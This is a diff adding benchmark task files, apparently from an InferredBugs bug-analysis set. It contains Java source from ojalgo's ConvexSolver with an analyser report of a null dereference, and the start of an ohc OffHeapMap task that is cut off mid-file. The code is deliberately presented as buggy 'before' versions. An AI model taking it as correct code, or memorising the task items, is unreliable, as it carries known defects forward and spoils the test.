+            final PhysicalStore<Double> tmpBI = PrimitiveDenseStore.FACTORY.makeZero(tmpUpExprDim + tmpUpVarDim + tmpLoExprDim + tmpLoVarDim, 1);
+
+            if (tmpUpExprDim > 0) {
+                for (int i = 0; i < tmpUpExprDim; i++) {
+                    final Expression tmpExpression = tmpUpExpr.get(i).compensate(tmpFixedVariables);
+                    for (final IntIndex tmpKey : tmpExpression.getLinearKeySet()) {
+                        final int tmpIndex = sourceModel.indexOfFreeVariable(tmpKey.index);
+                        if (tmpIndex >= 0) {
+                            tmpAI.set(i, tmpIndex, tmpExpression.getAdjustedLinearFactor(tmpKey));
+                        }
+                    }
+                    tmpBI.set(i, 0, tmpExpression.getAdjustedUpperLimit());
+                }
+            }
+
+            if (tmpUpVarDim > 0) {
+                for (int i = 0; i < tmpUpVarDim; i++) {
+                    final Variable tmpVariable = tmpUpVar.get(i);
+                    tmpAI.set(tmpUpExprDim + i, sourceModel.indexOfFreeVariable(tmpVariable), tmpVariable.getAdjustmentFactor());
+                    tmpBI.set(tmpUpExprDim + i, 0, tmpVariable.getAdjustedUpperLimit());
+                }
+            }
+
+            if (tmpLoExprDim > 0) {
+                for (int i = 0; i < tmpLoExprDim; i++) {
+                    final Expression tmpExpression = tmpLoExpr.get(i).compensate(tmpFixedVariables);
+                    for (final IntIndex tmpKey : tmpExpression.getLinearKeySet()) {
+                        final int tmpIndex = sourceModel.indexOfFreeVariable(tmpKey.index);
+                        if (tmpIndex >= 0) {
+                            tmpAI.set(tmpUpExprDim + tmpUpVarDim + i, tmpIndex, -tmpExpression.getAdjustedLinearFactor(tmpKey));
+                        }
+                    }
+                    tmpBI.set(tmpUpExprDim + tmpUpVarDim + i, 0, -tmpExpression.getAdjustedLowerLimit());
+                }
+            }
+
+            if (tmpLoVarDim > 0) {
+                for (int i = 0; i < tmpLoVarDim; i++) {
+                    final Variable tmpVariable = tmpLoVar.get(i);
+                    tmpAI.set(tmpUpExprDim + tmpUpVarDim + tmpLoExprDim + i, sourceModel.indexOfFreeVariable(tmpVariable), -tmpVariable.getAdjustmentFactor());
+                    tmpBI.set(tmpUpExprDim + tmpUpVarDim + tmpLoExprDim + i, 0, -tmpVariable.getAdjustedLowerLimit());
+                }
+            }
+
+            destinationBuilder.inequalities(tmpAI, tmpBI);
+        }
+    }
+
+    public static Builder getBuilder() {
+        return new Builder();
+    }
+
+    public static Builder getBuilder(final MatrixStore<Double> Q, final MatrixStore<Double> C) {
+        return ConvexSolver.getBuilder().objective(Q, C);
+    }
+
+    private final ConvexSolver.Builder myMatrices;
+    private transient PhysicalStore<Double> myMatrixAI = null;
+    private PrimitiveDenseStore myMatrixX = null;
+    private final LU<Double> mySolverGeneral;
+    private final Cholesky<Double> mySolverQ;
+
+    @SuppressWarnings("unused")
+    private ConvexSolver(final Options solverOptions) {
+        this(null, solverOptions);
+    }
+
+    protected ConvexSolver(final ConvexSolver.Builder matrices, final Optimisation.Options solverOptions) {
+
+        super(solverOptions);
+
+        myMatrices = matrices;
+
+        final MatrixStore<Double> tmpQ = this.getMatrixQ();
+
+        mySolverQ = Cholesky.make(tmpQ);
+        mySolverGeneral = LU.make(tmpQ);
+    }
+
+    public void dispose() {
+
+        super.dispose();
+
+        myMatrices.reset();
+    }
+
+    public final Optimisation.Result solve(final Optimisation.Result kickStarter) {
+
+        boolean tmpContinue = true;
+
+        if (options.validate) {
+            tmpContinue = this.validate();
+        }
+
+        if (tmpContinue) {
+            tmpContinue = this.initialise(kickStarter);
+        }
+
+        if (tmpContinue) {
+
+            this.resetIterationsCount();
+
+            do {
+
+                this.performIteration();
+
+                this.incrementIterationsCount();
+
+            } while (!this.getState().isFailure() && this.needsAnotherIteration() && this.isIterationAllowed());
+        }
+
+        return this.buildResult();
+    }
+
+    @Override
+    public String toString() {
+        return myMatrices.toString();
+    }
+
+    protected boolean computeGeneral(final Collectable<Double, ? super PhysicalStore<Double>> matrix) {
+        return mySolverGeneral.compute(matrix);
+    }
+
+    protected boolean computeQ(final Collectable<Double, ? super PhysicalStore<Double>> matrix) {
+        return mySolverQ.compute(matrix);
+    }
+
+    protected int countEqualityConstraints() {
+        return myMatrices.countEqualityConstraints();
+    }
+
+    protected int countInequalityConstraints() {
+        return myMatrices.countInequalityConstraints();
+    }
+
+    protected int countVariables() {
+        return myMatrices.countVariables();
+    }
+
+    @Override
+    protected double evaluateFunction(final Access1D<?> solution) {
+
+        final MatrixStore<Double> tmpX = this.getMatrixX();
+
+        return tmpX.transpose().multiply(this.getMatrixQ().multiply(tmpX)).multiply(0.5).subtract(tmpX.transpose().multiply(this.getMatrixC())).doubleValue(0L);
+    }
+
+    @Override
+    protected MatrixStore<Double> extractSolution() {
+
+        return this.getMatrixX().copy();
+
+    }
+
+    protected abstract MatrixStore<Double> getIterationKKT();
+
+    protected abstract MatrixStore<Double> getIterationRHS();
+
+    protected MatrixStore<Double> getMatrixAE() {
+        return myMatrices.getAE();
+    }
+
+    /**
+     * @deprecated
+     */
+    @Deprecated
+    protected MatrixStore<Double> getMatrixAI() {
+        if (myMatrixAI == null) {
+            myMatrixAI = myMatrices.getAI().collect(PrimitiveDenseStore.FACTORY);
+        }
+        return myMatrixAI;
+    }
+
+    /**
+     * @param row
+     * @return
+     */
+    protected SparseArray<Double> getMatrixAI(final int row) {
+        return myMatrices.getAI().getRow(row);
+    }
+
+    protected RowsSupplier<Double> getMatrixAI(final int[] rows) {
+        return myMatrices.getAI().selectRows(rows);
+    }
+
+    protected MatrixStore<Double> getMatrixBE() {
+        return myMatrices.getBE();
+    }
+
+    protected MatrixStore<Double> getMatrixBI() {
+        return myMatrices.getBI();
+    }
+
+    protected MatrixStore<Double> getMatrixBI(final int[] selector) {
+        return myMatrices.getBI().logical().row(selector).get();
+    }
+
+    protected MatrixStore<Double> getMatrixC() {
+        return myMatrices.getC();
+    }
+
+    protected PhysicalStore<Double> getMatrixQ() {
+        return myMatrices.getQ();
+    }
+
+    /**
+     * Solution / Variables: [X]
+     */
+    protected PhysicalStore<Double> getMatrixX() {
+        if (myMatrixX == null) {
+            myMatrixX = PrimitiveDenseStore.FACTORY.makeZero(this.countVariables(), 1L);
+        }
+        return myMatrixX;
+    }
+
+    protected int getRankGeneral() {
+        return mySolverGeneral.getRank();
+    }
+
+    protected MatrixStore<Double> getSE() {
+        return this.getMatrixX().premultiply(this.getMatrixAE()).operateOnMatching(this.getMatrixBE(), SUBTRACT).get();
+    }
+
+    protected MatrixStore<Double> getSolutionGeneral(final Collectable<Double, ? super PhysicalStore<Double>> rhs) {
+        return mySolverGeneral.getSolution(rhs);
+    }
+
+    void supplySI(final PhysicalStore<Double> slack) {
+
+        final RowsSupplier<Double> mtrxAI = myMatrices.getAI();
+        final MatrixStore<Double> mtrxBI = this.getMatrixBI();
+        final PhysicalStore<Double> mtrxX = this.getMatrixX();
+
+        slack.fillMatching(mtrxBI);
+
+        for (int i = 0; i < mtrxAI.countRows(); i++) {
+            slack.add(i, -mtrxAI.getRow(i).dot(mtrxX));
+        }
+    }
+
+    protected MatrixStore<Double> getSolutionGeneral(final Collectable<Double, ? super PhysicalStore<Double>> rhs, final PhysicalStore<Double> preallocated) {
+        return mySolverGeneral.getSolution(rhs, preallocated);
+    }
+
+    protected MatrixStore<Double> getSolutionQ(final Collectable<Double, ? super PhysicalStore<Double>> rhs) {
+        return mySolverQ.getSolution(rhs);
+    }
+
+    protected MatrixStore<Double> getSolutionQ(final Collectable<Double, ? super PhysicalStore<Double>> rhs, final PhysicalStore<Double> preallocated) {
+        return mySolverQ.getSolution(rhs, preallocated);
+    }
+
+    protected boolean hasEqualityConstraints() {
+        return myMatrices.hasEqualityConstraints();
+    }
+
+    protected boolean hasInequalityConstraints() {
+        return myMatrices.hasInequalityConstraints();
+    }
+
+    protected boolean hasObjective() {
+        return myMatrices.hasObjective();
+    }
+
+    protected abstract boolean initialise(Result kickStarter);
+
+    protected boolean isSolvableGeneral() {
+        return mySolverGeneral.isSolvable();
+    }
+
+    protected boolean isSolvableQ() {
+        return mySolverQ.isSolvable();
+    }
+
+    protected abstract boolean needsAnotherIteration();
+
+    abstract protected void performIteration();
+
+    /**
+     * Should validate the solver data/input/structue. Even "expensive" validation can be performed as the
+     * method should only be called if {@linkplain Optimisation.Options#validate} is set to true. In addition
+     * to returning true or false the implementation should set the state to either
+     * {@linkplain Optimisation.State#VALID} or {@linkplain Optimisation.State#INVALID} (or possibly
+     * {@linkplain Optimisation.State#FAILED}). Typically the method should be called at the very beginning of
+     * the solve-method.
+     *
+     * @return Is the solver instance valid?
+     */
+    protected boolean validate() {
+
+        final MatrixStore<Double> tmpQ = this.getMatrixQ();
+        final MatrixStore<Double> tmpC = this.getMatrixC();
+
+        if ((tmpQ == null) || (tmpC == null)) {
+            throw new IllegalArgumentException("Neither Q nor C may be null!");
+        }
+
+        if (!MatrixUtils.isHermitian(tmpQ)) {
+            if (this.isDebug()) {
+                this.debug("Q not symmetric!", tmpQ);
+            }
+            throw new IllegalArgumentException("Q must be symmetric!");
+        }
+
+        if (!mySolverQ.isSPD()) {
+            // Not symmetric positive definite. Check if at least positive semidefinite.
+
+            final Eigenvalue<Double> tmpEvD = Eigenvalue.PRIMITIVE.make(true);
+
+            tmpEvD.computeValuesOnly(tmpQ);
+
+            final Array1D<ComplexNumber> tmpEigenvalues = tmpEvD.getEigenvalues();
+
+            tmpEvD.reset();
+
+            for (final ComplexNumber tmpValue : tmpEigenvalues) {
+                if ((tmpValue.doubleValue() < ZERO) || !tmpValue.isReal()) {
+                    if (this.isDebug()) {
+                        this.debug("Q not positive semidefinite!");
+                        this.debug("The eigenvalues are: {}", tmpEigenvalues);
+                    }
+                    throw new IllegalArgumentException("Q must be positive semidefinite!");
+                }
+            }
+        }
+
+        this.setState(State.VALID);
+        return true;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getMatrixQ()` could be null and is dereferenced at line 706.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+double ConvexSolver.evaluateFunction(Access1D)
+
+### Procedure Id:
+org.ojalgo.optimisation.convex.ConvexSolver.evaluateFunction(org.ojalgo.access.Access1D):double.808e67877eae2f57d2065de69f6fc1eb
+
+### File:
+src/org/ojalgo/optimisation/convex/ConvexSolver.java
+
+### Key:
+ConvexSolver.java|evaluateFunction|NULL_DEREFERENCE
+
+### Node Key:
+e3c557d7766c6aa2f820227d95f6c155
+
+### Hash:
+cd34e04f0794e2651d94eb564745e236
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3861/instruction.md b/inferredbugs-3861/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8da7699a5410ebae22c0671141cd7a14d0f7dbf9
--- /dev/null
+++ b/inferredbugs-3861/instruction.md
@@ -0,0 +1,895 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ohc
+**Bug ID:** 36
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *      Copyright (C) 2014 Robert Stupp, Koeln, Germany, robert-stupp.de
+ *
+ *   Licensed under the Apache License, Version 2.0 (the "License");
+ *   you may not use this file except in compliance with the License.
+ *   You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *   Unless required by applicable law or agreed to in writing, software
+ *   distributed under the License is distributed on an "AS IS" BASIS,
+ *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *   See the License for the specific language governing permissions and
+ *   limitations under the License.
+ */
+package org.caffinitas.ohc.tables;
+
+import java.util.List;
+import java.util.concurrent.atomic.AtomicLong;
+import java.util.concurrent.locks.ReentrantLock;
+
+import it.unimi.dsi.fastutil.longs.LongArrayList;
+import org.caffinitas.ohc.OHCacheBuilder;
+import org.caffinitas.ohc.histo.EstimatedHistogram;
+
+final class OffHeapMap
+{
+    // maximum hash table size
+    private static final int MAX_TABLE_SIZE = 1 << 30;
+
+    private final int entriesPerBucket;
+    private long size;
+    private Table table;
+
+    private long threshold;
+    private final float loadFactor;
+
+    private long lruCompactions;
+    private long hitCount;
+    private long missCount;
+    private long putAddCount;
+    private long putReplaceCount;
+    private long removeCount;
+
+    private long rehashes;
+    private long evictedEntries;
+
+    private final AtomicLong freeCapacity;
+
+    private final ReentrantLock lock = new ReentrantLock();
+
+    OffHeapMap(OHCacheBuilder builder, AtomicLong freeCapacity)
+    {
+        this.freeCapacity = freeCapacity;
+
+        int hts = builder.getHashTableSize();
+        if (hts <= 0)
+            hts = 8192;
+        if (hts < 256)
+            hts = 256;
+        int bl = builder.getBucketLength();
+        if (bl <= 0)
+            bl = 8;
+        int buckets = (int) Util.roundUpToPowerOf2(hts, MAX_TABLE_SIZE);
+        entriesPerBucket = (int) Util.roundUpToPowerOf2(bl, MAX_TABLE_SIZE);
+        table = Table.create(buckets, entriesPerBucket);
+        if (table == null)
+            throw new RuntimeException("unable to allocate off-heap memory for segment");
+
+        float lf = builder.getLoadFactor();
+        if (lf <= .0d)
+            lf = .75f;
+        if (lf >= 1d)
+            throw new IllegalArgumentException("load factor must not be greater that 1");
+        this.loadFactor = lf;
+        threshold = (long) ((double) table.size() * loadFactor);
+    }
+
+    void release()
+    {
+        lock.lock();
+        try
+        {
+            table.release();
+            table = null;
+        }
+        finally
+        {
+            lock.unlock();
+        }
+    }
+
+    long size()
+    {
+        return size;
+    }
+
+    long hitCount()
+    {
+        return hitCount;
+    }
+
+    long missCount()
+    {
+        return missCount;
+    }
+
+    long putAddCount()
+    {
+        return putAddCount;
+    }
+
+    long putReplaceCount()
+    {
+        return putReplaceCount;
+    }
+
+    long removeCount()
+    {
+        return removeCount;
+    }
+
+    void resetStatistics()
+    {
+        rehashes = 0L;
+        evictedEntries = 0L;
+        hitCount = 0L;
+        missCount = 0L;
+        putAddCount = 0L;
+        putReplaceCount = 0L;
+        removeCount = 0L;
+        lruCompactions = 0L;
+    }
+
+    long rehashes()
+    {
+        return rehashes;
+    }
+
+    long evictedEntries()
+    {
+        return evictedEntries;
+    }
+
+    long lruCompactions()
+    {
+        return lruCompactions;
+    }
+
+    long getEntry(KeyBuffer key, boolean reference)
+    {
+        lock.lock();
+        try
+        {
+            long ptr = table.bucketOffset(key.hash());
+            long hashEntryAdr;
+            for (int idx = 0; idx < entriesPerBucket; idx++, ptr += Util.BUCKET_ENTRY_LEN)
+            {
+                hashEntryAdr = table.getEntryAdr(ptr);
+                if (hashEntryAdr == 0L)
+                    break;
+                if (table.getHash(ptr) != key.hash() || notSameKey(key, hashEntryAdr))
+                    continue;
+
+                // return existing entry
+
+                touch(hashEntryAdr);
+
+                if (reference)
+                    HashEntries.reference(hashEntryAdr);
+
+                hitCount++;
+                return hashEntryAdr;
+            }
+
+            // not found
+            missCount++;
+            return 0L;
+        }
+        finally
+        {
+            lock.unlock();
+        }
+    }
+
+    boolean putEntry(long newHashEntryAdr, long hash, long keyLen, long bytes, boolean ifAbsent, long oldValueAdr, long oldValueLen)
+    {
+        long removeHashEntryAdr = 0L;
+        LongArrayList derefList = null;
+        long fc = freeCapacity.get();
+        long ofc = fc;
+        lock.lock();
+        try
+        {
+            long hashEntryAdr;
+            long ptr = table.bucketOffset(hash);
+            for (int idx = 0; idx < entriesPerBucket; idx++, ptr += Util.BUCKET_ENTRY_LEN)
+            {
+                if ((hashEntryAdr = table.getEntryAdr(ptr)) == 0L)
+                    break;
+
+                if (table.getHash(ptr) != hash)
+                    continue;
+
+                // fetch allocLen here - same CPU cache line needed by key compare
+                long allocLen = HashEntries.getAllocLen(hashEntryAdr);
+                if (notSameKey(newHashEntryAdr, keyLen, hashEntryAdr))
+                    continue;
+
+                // replace existing entry
+
+                if (ifAbsent)
+                    return false;
+
+                if (oldValueAdr != 0L)
+                {
+                    // code for replace() operation
+                    if (HashEntries.getValueLen(hashEntryAdr) != oldValueLen
+                        || !HashEntries.compare(hashEntryAdr, Util.ENTRY_OFF_DATA + Util.roundUpTo8(keyLen), oldValueAdr, 0L, oldValueLen))
+                        return false;
+                }
+
+                fc += allocLen;
+                table.removeFromTableWithOff(hashEntryAdr, ptr, idx);
+
+                removeHashEntryAdr = hashEntryAdr;
+
+                break;
+            }
+
+            if (fc < bytes)
+            {
+                derefList = new LongArrayList();
+                do
+                {
+                    long eldestEntryAdr = table.removeEldest();
+                    if (eldestEntryAdr == 0L)
+                    {
+                        if (removeHashEntryAdr != 0L)
+                            size--;
+                        return false;
+                    }
+
+                    fc += HashEntries.getAllocLen(eldestEntryAdr);
+
+                    size--;
+                    evictedEntries++;
+                    derefList.add(eldestEntryAdr);
+                } while (fc < bytes);
+            }
+
+            if (removeHashEntryAdr == 0L)
+            {
+                if (size >= threshold)
+                    rehash();
+
+                size++;
+            }
+
+            if (!add(newHashEntryAdr, hash))
+                return false;
+
+            fc -= bytes;
+
+            if (removeHashEntryAdr == 0L)
+                putAddCount++;
+            else
+                putReplaceCount++;
+
+            return true;
+        }
+        finally
+        {
+            lock.unlock();
+            freeCapacity.addAndGet(fc - ofc);
+            if (removeHashEntryAdr != 0L)
+                HashEntries.dereference(removeHashEntryAdr);
+            if (derefList != null)
+                for (int i = 0; i < derefList.size(); i++)
+                    HashEntries.dereference(derefList.getLong(i));
+        }
+    }
+
+    void clear()
+    {
+        lock.lock();
+        try
+        {
+            size = 0L;
+
+            long freed = 0L;
+            long hashEntryAdr;
+            for (int p = 0; p < table.size(); p++)
+            {
+                long ptr = table.bucketOffset(p);
+                for (int idx = 0; idx < entriesPerBucket; idx++, ptr += Util.BUCKET_ENTRY_LEN)
+                {
+                    if ((hashEntryAdr = table.getEntryAdr(ptr)) == 0L)
+                        break;
+
+                    freed += HashEntries.getAllocLen(hashEntryAdr);
+                    HashEntries.dereference(hashEntryAdr);
+                }
+            }
+
+            table.clear();
+
+            freeCapacity.addAndGet(freed);
+        }
+        finally
+        {
+            lock.unlock();
+        }
+    }
+
+    void removeEntry(long removeHashEntryAdr)
+    {
+        lock.lock();
+        try
+        {
+            long hash = HashEntries.getHash(removeHashEntryAdr);
+            long hashEntryAdr;
+            long ptr = table.bucketOffset(hash);
+            for (int idx = 0; idx < entriesPerBucket; idx++, ptr += Util.BUCKET_ENTRY_LEN)
+            {
+                if ((hashEntryAdr = table.getEntryAdr(ptr)) == 0L)
+                    break;
+
+                if (hashEntryAdr != removeHashEntryAdr)
+                    continue;
+
+                // remove existing entry
+
+                removeInternal(hashEntryAdr, ptr, idx);
+
+                return;
+            }
+            removeHashEntryAdr = 0L;
+        }
+        finally
+        {
+            lock.unlock();
+            if (removeHashEntryAdr != 0L)
+                HashEntries.dereference(removeHashEntryAdr);
+        }
+    }
+
+    void removeEntry(KeyBuffer key)
+    {
+        long removeHashEntryAdr = 0L;
+        lock.lock();
+        try
+        {
+            long hashEntryAdr;
+            long ptr = table.bucketOffset(key.hash());
+            for (int idx = 0; idx < entriesPerBucket; idx++, ptr += Util.BUCKET_ENTRY_LEN)
+            {
+                if ((hashEntryAdr = table.getEntryAdr(ptr)) == 0L)
+                    break;
+
+                if (table.getHash(ptr) != key.hash() || notSameKey(key, hashEntryAdr))
+                    continue;
+
+                // remove existing entry
+
+                removeHashEntryAdr = hashEntryAdr;
+                removeInternal(hashEntryAdr, ptr, idx);
+
+                return;
+            }
+        }
+        finally
+        {
+            lock.unlock();
+            if (removeHashEntryAdr != 0L)
+                HashEntries.dereference(removeHashEntryAdr);
+        }
+    }
+
+    private void removeInternal(long hashEntryAdr, long off, int idx)
+    {
+        table.removeFromTableWithOff(hashEntryAdr, off, idx);
+
+        freeCapacity.addAndGet(HashEntries.getAllocLen(hashEntryAdr));
+
+        size--;
+        removeCount++;
+    }
+
+    private static boolean notSameKey(KeyBuffer key, long hashEntryAdr)
+    {
+        long serKeyLen = HashEntries.getKeyLen(hashEntryAdr);
+        return serKeyLen != key.size()
+               || !HashEntries.compareKey(hashEntryAdr, key, serKeyLen);
+    }
+
+    private static boolean notSameKey(long newHashEntryAdr, long newKeyLen, long hashEntryAdr)
+    {
+        long serKeyLen = HashEntries.getKeyLen(hashEntryAdr);
+        return serKeyLen != newKeyLen
+               || !HashEntries.compare(hashEntryAdr, Util.ENTRY_OFF_DATA, newHashEntryAdr, Util.ENTRY_OFF_DATA, serKeyLen);
+    }
+
+    private void rehash()
+    {
+        Table tab = table;
+        int tableSize = tab.size();
+        if (tableSize > MAX_TABLE_SIZE)
+        {
+            // already at max hash table size
+            return;
+        }
+
+        Table newTable = Table.create(tableSize * 2, entriesPerBucket);
+        if (newTable == null)
+            return;
+
+        for (int part = 0; part < tableSize; part++)
+        {
+            long hashEntryAdr;
+            long ptr = table.bucketOffset(part);
+            for (int idx = 0; idx < entriesPerBucket; idx++, ptr += Util.BUCKET_ENTRY_LEN)
+            {
+                if ((hashEntryAdr = table.getEntryAdr(ptr)) == 0L)
+                    break;
+
+                if (!newTable.addToTable(table.getHash(ptr), hashEntryAdr))
+                    // this should never occur - so don't care about expensive free()
+                    HashEntries.dereference(hashEntryAdr);
+            }
+        }
+        newTable.copyLRU(table);
+
+        threshold = (long) ((float) newTable.size() * loadFactor);
+        table.release();
+        table = newTable;
+        rehashes++;
+    }
+
+    long[] hotN(int n)
+    {
+        lock.lock();
+        try
+        {
+            long[] r = new long[n];
+            table.fillHotN(r, n);
+            for (long hashEntryAdr : r)
+                if (hashEntryAdr != 0L)
+                    HashEntries.reference(hashEntryAdr);
+            return r;
+        }
+        finally
+        {
+            lock.unlock();
+        }
+    }
+
+    float loadFactor()
+    {
+        return loadFactor;
+    }
+
+    int hashTableSize()
+    {
+        return table.size();
+    }
+
+    void updateBucketHistogram(EstimatedHistogram hist)
+    {
+        lock.lock();
+        try
+        {
+            table.updateBucketHistogram(hist);
+        }
+        finally
+        {
+            lock.unlock();
+        }
+    }
+
+    void getEntryAddresses(int mapSegmentIndex, int nSegments, List<Long> hashEntryAdrs)
+    {
+        lock.lock();
+        try
+        {
+            for (; nSegments-- > 0 && mapSegmentIndex < table.size(); mapSegmentIndex++)
+            {
+                long hashEntryAdr;
+                long ptr = table.bucketOffset(mapSegmentIndex);
+                for (int idx = 0; idx < entriesPerBucket; idx++, ptr += Util.BUCKET_ENTRY_LEN)
+                {
+                    if ((hashEntryAdr = table.getEntryAdr(ptr)) == 0L)
+                        break;
+                    hashEntryAdrs.add(hashEntryAdr);
+                    HashEntries.reference(hashEntryAdr);
+                }
+            }
+        }
+        finally
+        {
+            lock.unlock();
+        }
+    }
+
+    static final class Table
+    {
+        /*
+         * Holds an off-heap structure with two tables: the bucket-entry-table and the LRU-table.
+         * The bucket-entry-table starts at 'address'.
+         * The LRU-table starts at 'address + lruOffset'.
+         *
+         * Layout of the bucket-entry-table:
+         * +----------------+------------+----------------+------------+-----
+         * | hash-entry-adr | hash-value | hash-entry-adr | hash-value | ...
+         * +----------------+------------+----------------+------------+-----
+         * For each bucket the table holds as many entries as specified by 'entriesPerBucket'.
+         *
+         * Layout of the LRU-table:
+         * +----------------+----------------+-----
+         * | hash-entry-adr | hash-entry-adr | ...
+         * +----------------+----------------+-----
+         * The field 'lruWriteTarget' defines at which index in the LRU-table the next recently hash-entry-address goes.
+         * The field 'lruEldestIndex' defines the index of the eldest entry in the LRU-table.
+         * If there's no more room in the LRU-table ('lruWriteTarget == size()'), the whole LRU table is compacted.
+         * For fast access into the LRU-table, the hash-entry itself tracks the index of the hash-entry in the LRU-table.
+         */
+
+        final int mask;
+        final long address;
+        private final int entriesPerBucket;
+        private boolean released;
+
+        private final long lruOffset;
+
+        private int lruWriteTarget;
+        private int lruEldestIndex;
+
+        static Table create(int hashTableSize, int entriesPerBucket)
+        {
+            int msz = (int) Util.BUCKET_ENTRY_LEN * hashTableSize * entriesPerBucket;
+
+            msz += hashTableSize * Util.POINTER_LEN;
+
+            long address = Uns.allocate(msz);
+            return address != 0L ? new Table(address, hashTableSize, entriesPerBucket) : null;
+        }
+
+        private Table(long address, int hashTableSize, int entriesPerBucket)
+        {
+            this.address = address;
+            this.mask = hashTableSize - 1;
+            this.entriesPerBucket = entriesPerBucket;
+
+            this.lruOffset = Util.BUCKET_ENTRY_LEN * hashTableSize * entriesPerBucket;
+            this.lruWriteTarget = 0;
+
+            clear();
+        }
+
+        //
+
+        void removeFromTableWithOff(long hashEntryAdr, long off, int idx)
+        {
+            for (; idx < entriesPerBucket; idx++, off += Util.BUCKET_ENTRY_LEN)
+            {
+                if (idx < entriesPerBucket - 1)
+                {
+                    long adr = getEntryAdr(off + Util.BUCKET_ENTRY_LEN);
+                    long h = getHash(off + Util.BUCKET_ENTRY_LEN);
+                    setEntryAdr(off, adr);
+                    setHash(off, h);
+                    if (adr == 0L)
+                        break;
+                }
+                else
+                    setEntryAdr(off, 0L);
+            }
+            removeFromLRU(hashEntryAdr);
+        }
+
+        long removeEldest()
+        {
+            int i = lruEldestIndex;
+            long off = lruOffset(i);
+            for (; i < lruWriteTarget; i++, off += Util.POINTER_LEN)
+            {
+                long hashEntryAdr = Uns.getAndPutLong(address, off, 0L);
+                if (hashEntryAdr != 0L)
+                {
+                    lruEldestIndex = i + 1;
+
+                    off = bucketOffset(HashEntries.getHash(hashEntryAdr));
+                    boolean st = false;
+                    for (i = 0; i < entriesPerBucket; i++, off += Util.BUCKET_ENTRY_LEN)
+                    {
+                        long adr;
+                        if (!st)
+                        {
+                            adr = getEntryAdr(off);
+                            if (adr == hashEntryAdr)
+                                st = true;
+                            else if (adr == 0L)
+                                break;
+                            else
+                                continue;
+                        }
+
+                        adr = getEntryAdr(off + Util.BUCKET_ENTRY_LEN);
+                        long h = getHash(off + Util.BUCKET_ENTRY_LEN);
+                        if (i < entriesPerBucket - 1)
+                        {
+                            setEntryAdr(off, adr);
+                            setHash(off, h);
+                        }
+                        else
+                            setEntryAdr(off, 0L);
+                        if (adr == 0L)
+                            break;
+                    }
+
+                    return hashEntryAdr;
+                }
+            }
+            return 0;
+        }
+
+        void fillHotN(long[] r, int n)
+        {
+            int c = 0;
+            long hashEntryAdr;
+            int i = lruWriteTarget - 1;
+            long off = lruOffset(i);
+            for (; i >= lruEldestIndex; i--, off -= Util.POINTER_LEN)
+            {
+                if ((hashEntryAdr = Uns.getLong(address, off)) != 0L)
+                {
+                    r[c++] = hashEntryAdr;
+                    if (c == n)
+                        return;
+                }
+            }
+        }
+
+        void copyLRU(Table srcTable)
+        {
+            lruEldestIndex = srcTable.lruEldestIndex;
+            lruWriteTarget = srcTable.lruWriteTarget;
+            Uns.copyMemory(srcTable.address, srcTable.lruOffset(0), address, lruOffset(0), lruWriteTarget * Util.POINTER_LEN);
+        }
+
+        boolean addToLRU(long hashEntryAdr)
+        {
+            if (lruWriteTarget < size())
+            {
+                // try to add to current-write-target
+                entryToLRU(hashEntryAdr, lruWriteTarget++);
+                return false;
+            }
+
+            // LRU table compaction needed
+
+            int id = 0;
+            long adr;
+            int is = lruEldestIndex;
+            long off = lruOffset(is);
+            for (; is < size(); is++, off += Util.POINTER_LEN)
+                if ((adr = Uns.getLong(address, off)) != 0L)
+                {
+                    if (is != id)
+                        entryToLRU(adr, id);
+                    id++;
+                }
+
+            // add hash-entry to LRU
+            entryToLRU(hashEntryAdr, id++);
+
+            lruWriteTarget = id;
+            lruEldestIndex = 0;
+
+            // clear remaining LRU table
+            Uns.setMemory(address, lruOffset(id),
+                          (size() - id) * Util.POINTER_LEN,
+                          (byte) 0);
+
+            return true;
+        }
+
+        private void entryToLRU(long hashEntryAdr, int id)
+        {
+            Uns.putLong(address, lruOffset(id), hashEntryAdr);
+            HashEntries.setLRUIndex(hashEntryAdr, id);
+        }
+
+        void removeFromLRU(long hashEntryAdr)
+        {
+            int lruIndex = HashEntries.getLRUIndex(hashEntryAdr);
+            if (lruEldestIndex == lruIndex)
+                lruEldestIndex++;
+            if (lruIndex == lruWriteTarget - 1)
+                lruWriteTarget = lruIndex;
+            Uns.putLong(address, lruOffset(lruIndex), 0L);
+        }
+
+        private long lruOffset(int i)
+        {
+            return lruOffset + i * Util.POINTER_LEN;
+        }
+
+        //
+
+        void clear()
+        {
+            // It's important to initialize the hash table memory.
+            // (uninitialized memory will cause problems - endless loops, JVM crashes, damaged data, etc)
+            Uns.setMemory(address, 0L,
+                          Util.BUCKET_ENTRY_LEN * entriesPerBucket * size() +
+                          Util.POINTER_LEN * size(),
+                          (byte) 0);
+        }
+
+        void release()
+        {
+            Uns.free(address);
+            released = true;
+        }
+
+        protected void finalize() throws Throwable
+        {
+            if (!released)
+                Uns.free(address);
+            super.finalize();
+        }
+
+        boolean addToTable(long hash, long hashEntryAdr)
+        {
+            long off = bucketOffset(hash);
+            for (int i = 0; i < entriesPerBucket; i++, off += Util.BUCKET_ENTRY_LEN)
+                if (Uns.compareAndSwapLong(address, off, 0L, hashEntryAdr))
+                {
+                    setHash(off, hash);
+                    return true;
+                }
+            return false;
+        }
+
+        long bucketOffset(long hash)
+        {
+            return bucketIndexForHash(hash) * entriesPerBucket * Util.BUCKET_ENTRY_LEN;
+        }
+
